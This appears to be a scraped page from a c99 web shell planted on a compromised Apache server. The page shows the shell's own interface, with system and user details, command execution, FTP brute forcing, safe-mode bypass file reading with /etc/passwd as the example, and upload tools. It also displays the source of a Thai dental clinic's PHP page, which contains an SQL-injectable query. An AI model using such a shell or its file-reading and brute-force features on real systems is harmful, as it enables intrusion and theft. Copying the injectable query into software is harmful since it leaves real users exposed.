!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Dental/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmTreatment.php (6.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();
$sql1 "Select * From treatment_tb  Where Teach_code='$Teach_code'";
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="815" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="815" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Frmperson.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddTreatprice.php">เพิ่มข้อมูล</a></font></legend>
          <label> </label>
        <div align="center">
          <form action="InsertTreatcat.php" method="post" name="form1" id="form1">
            <table width="525" height="183" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
              <tr bgcolor="#FFCC99">
                <td height="23" colspan="3"><div align="center"><font face="Tahoma, MS Sans Serif"><strong><font color="#003366" size="4">&#3586;&#3657;&#3629;&#3617;&#3641;&#3621;&#3585;&#3634;&#3619;&#3619;&#3633;&#3585;&#3625;&#3634;</font></strong></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td width="29%" height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3619;&#3627;&#3633;&#3626;</font></div></td>
                <td width="3%"><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td width="68%"><span class="style1"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Code_1]";
      
?>
                </font></font></span> </td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3627;&#3617;&#3623;&#3604;&#3585;&#3634;&#3619;&#3619;&#3633;&#3585;&#3625;&#3634;</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font color="#000000" size="2" face="Tahoma" class="style1"> <font color="#000000" size="2" face="Tahoma" class="style1"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Name]";
      
?>
                </font></font></font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3619;&#3634;&#3618;&#3585;&#3634;&#3619;&#3619;&#3633;&#3585;&#3625;&#3634;(Eg)</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font color="#000000" size="2" face="Tahoma" class="style3"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Description_1]";
      
?>
                </font></font> </td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3619;&#3634;&#3618;&#3585;&#3634;&#3619;&#3619;&#3633;&#3585;&#3625;&#3634;(&#3652;&#3607;&#3618;)</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font color="#000000" size="2" face="Tahoma" class="style3"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Description_2]";
      
?>
                </font></font> </td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3611;&#3619;&#3632;&#3648;&#3616;&#3607;&#3585;&#3634;&#3619;&#3619;&#3633;&#3585;&#3625;&#3634;</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font color="#000000" size="2" face="Tahoma" class="style3"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Description_3]";
      
?>
                </font></font> </td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">&#3619;&#3634;&#3588;&#3634;&#3588;&#3656;&#3634;&#3619;&#3633;&#3585;&#3625;&#3634;</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font color="#000000" size="2" face="Tahoma" class="style3"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"&nbsp;&nbsp;$rs[Price]";
      
?>
                </font></font><font face="Tahoma, MS Sans Serif">&#3610;&#3634;&#3607; </font></td>
              </tr>
              <tr bgcolor="#AFCFEF">
                <td height="19" colspan="3"><div align="center"> <font face="Tahoma, MS Sans Serif"> </font></div></td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
    <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b></font></td>
  </tr>
</table>
<?php 
    
}
else
{
  echo
"<body bgcolor=\"#CCCCCC\">";
 echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\" target=\"mainFrame\">\n";
    echo
"<center>";
  echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
   echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
  echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มสิทธ์ใช้งาน</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--